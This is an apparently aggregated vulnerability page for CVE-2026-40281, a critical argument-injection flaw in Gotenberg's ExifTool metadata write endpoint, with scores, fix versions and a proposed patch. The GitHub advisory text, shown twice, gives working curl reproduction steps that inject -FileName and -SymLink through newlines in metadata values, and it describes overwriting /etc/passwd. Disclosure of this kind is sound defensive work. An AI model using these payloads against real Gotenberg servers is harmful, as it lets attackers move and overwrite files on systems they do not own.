Every CVE Search/ Get API key

CVE-2026-40281

Gotenberg vulnerable to argument injection via newlines in ExifTool metadata values

10.0 CriticalPublic exploitFix available

Gotenberg is a Docker-powered stateless API for PDF files. In versions 8.30.1 and earlier, the metadata write endpoint validates metadata keys for control characters but leaves metadata values unsanitized. A newline character in a metadata value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink. This is a bypass of the incomplete key-sanitization fix introduced in v8.30.1. An unauthenticated attacker can rename or move any PDF being processed to an arbitrary path in the container filesystem, overwrite arbitrary files, or create symlinks and hard links at arbitrary paths.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
High

Exploit likelihood

2.26%Up 2.2 points since May 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 10.0

Gotenberg vulnerable to argument injection via newlines in ExifTool metadata values

Gotenberg is a Docker-powered stateless API for PDF files. In versions 8.30.1 and earlier, the metadata write endpoint validates metadata keys for control characters but leaves metadata values unsanitized. A newline character in a metadata value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink. This is a bypass of the incomplete key-sanitization fix introduced in v8.30.1. An unauthenticated attacker can rename or move any PDF being processed to an arbitrary path in the container filesystem, overwrite arbitrary files, or create symlinks and hard links at arbitrary paths.

Record
CVE-2026-40281
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Weakness
CWE-88
Updated
2026-11-02
EUVDEUVD-2026-28214 10.0

Gotenberg is a Docker-powered stateless API for PDF files. In versions 8.30.1 and earlier, the metadata write endpoint validates metadata keys for control characters but leaves metadata values unsanitized. A newline character in a metadata value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink. This is a bypass of the incomplete key-sanitization fix introduced in v8.30.1. An unauthenticated attacker can rename or move any PDF being processed to an arbitrary path in the container filesystem, overwrite arbitrary files, or create symlinks and hard links at arbitrary paths.

Record
EUVD-2026-28214
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-q7r4-hc83-hf2q 10.0

Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)

Vulnerability Details

CWE: CWE-20 - Improper Input Validation

The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.

Summary

The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.

Root Cause

pkg/modules/exiftool/exiftool.go — WriteMetadata() function:

// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
    if !safeKeyPattern.MatchString(key) {  // ← only keys checked
        return fmt.Errorf(...)
    }
}

// VALUE passed through unsanitized:
case string:
    fileMetadata[0].SetString(key, val)  // ← val may contain \n

go-exiftool (barasher/go-exiftool) then writes:

fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
//   -Title=test
//   -FileName=/tmp/inject_proof

Steps to Reproduce

1. Start Gotenberg:
   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8

2. Create a test PDF:
   curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -o test.pdf http://localhost:3001/forms/chromium/convert/html \
     <<< '<html><body>test</body></html>'

3. Inject -FileName via value newline:
   curl -s -w "\nHTTP %{http_code}" \
     -F '[email protected];type=application/pdf' \
     -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   # Returns HTTP 404 (file moved away from temp path)

4. Verify injection inside container:
   docker exec gotenberg-test ls -la /tmp/inject_proof
   # -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)

5. Symlink injection:
   curl -s -w "\nHTTP %{http_code}" \
     -F '[email protected];type=application/pdf' \
     -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   docker exec gotenberg-test ls -la /tmp/sym_inject
   # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf

Impact

An unauthenticated attacker can:

  1. Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
  2. Overwrite arbitrary files — e.g., -Directory=/etc/ -FileName=passwd injects two lines, moving the PDF to /etc/passwd, corrupting the system user database
  3. Create symlinks at arbitrary paths via -SymLink=, enabling subsequent read/write primitives
  4. Create hard links via -HardLink=, persisting data beyond temp directory cleanup

This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.

Proposed Fix

Add value sanitization parallel to the existing key check in WriteMetadata:

for key, value := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
…
Record
GHSA-q7r4-hc83-hf2q
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Weakness
CWE-88
Updated
2026-11-02
NVD 10.0

Gotenberg is a Docker-powered stateless API for PDF files. In versions 8.30.1 and earlier, the metadata write endpoint validates metadata keys for control characters but leaves metadata values unsanitized. A newline character in a metadata value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink. This is a bypass of the incomplete key-sanitization fix introduced in v8.30.1. An unauthenticated attacker can rename or move any PDF being processed to an arbitrary path in the container filesystem, overwrite arbitrary files, or create symlinks and hard links at arbitrary paths.

Record
CVE-2026-40281
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-88
Updated
2026-11-02
OSV 10.0

Gotenberg vulnerable to argument injection via newlines in ExifTool metadata values

Gotenberg is a Docker-powered stateless API for PDF files. In versions 8.30.1 and earlier, the metadata write endpoint validates metadata keys for control characters but leaves metadata values unsanitized. A newline character in a metadata value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink. This is a bypass of the incomplete key-sanitization fix introduced in v8.30.1. An unauthenticated attacker can rename or move any PDF being processed to an arbitrary path in the container filesystem, overwrite arbitrary files, or create symlinks and hard links at arbitrary paths.

Record
CVE-2026-40281
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Weakness
CWE-88
Updated
2026-11-02
OSVGHSA-q7r4-hc83-hf2q 10.0

Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)

Vulnerability Details

CWE: CWE-20 - Improper Input Validation

The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.

Summary

The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.

Root Cause

pkg/modules/exiftool/exiftool.go — WriteMetadata() function:

// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
    if !safeKeyPattern.MatchString(key) {  // ← only keys checked
        return fmt.Errorf(...)
    }
}

// VALUE passed through unsanitized:
case string:
    fileMetadata[0].SetString(key, val)  // ← val may contain \n

go-exiftool (barasher/go-exiftool) then writes:

fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
//   -Title=test
//   -FileName=/tmp/inject_proof

Steps to Reproduce

1. Start Gotenberg:
   docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8

2. Create a test PDF:
   curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -o test.pdf http://localhost:3001/forms/chromium/convert/html \
     <<< '<html><body>test</body></html>'

3. Inject -FileName via value newline:
   curl -s -w "\nHTTP %{http_code}" \
     -F '[email protected];type=application/pdf' \
     -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   # Returns HTTP 404 (file moved away from temp path)

4. Verify injection inside container:
   docker exec gotenberg-test ls -la /tmp/inject_proof
   # -rw-r--r-- 1 root root ... /tmp/inject_proof  (PDF moved here)

5. Symlink injection:
   curl -s -w "\nHTTP %{http_code}" \
     -F '[email protected];type=application/pdf' \
     -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
     http://localhost:3001/forms/pdfengines/metadata/write
   docker exec gotenberg-test ls -la /tmp/sym_inject
   # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf

Impact

An unauthenticated attacker can:

  1. Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
  2. Overwrite arbitrary files — e.g., -Directory=/etc/ -FileName=passwd injects two lines, moving the PDF to /etc/passwd, corrupting the system user database
  3. Create symlinks at arbitrary paths via -SymLink=, enabling subsequent read/write primitives
  4. Create hard links via -HardLink=, persisting data beyond temp directory cleanup

This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.

Proposed Fix

Add value sanitization parallel to the existing key check in WriteMetadata:

for key, value := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
…
Record
GHSA-q7r4-hc83-hf2q
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Weakness
CWE-88
Updated
2026-11-02
OSVGO-2026-5572 No score

Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix) in github.com/gotenberg/gotenberg

Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix) in github.com/gotenberg/gotenberg

Record
GO-2026-5572
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/gotenberg/gotenberg/v8
Go
 through 8.30.1
8.31.0
github.com/gotenberg/gotenberg/v8
Go
 before 8.31.0
8.31.0
github.com/gotenberg/gotenberg/v7
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHub0xgh057r3c0n/CVE-2026-402812026-10-01
PoC in GitHubrabakuku/CVE-2026-402812026-10-05
NucleiGotenberg <= 8.30.1 - Remote Code Execution

History

History
RecordedChangedSources
affected
exploits, factsPoC in GitHub
first indexedCVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-40281 is a critical vulnerability (CVSS 10.0) in Gotenberg, published April 30, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 2.26%, the 83rd percentile. Fixed in github.com/gotenberg/gotenberg/v8 8.31.0.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 1,541 references and the rest of 3 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open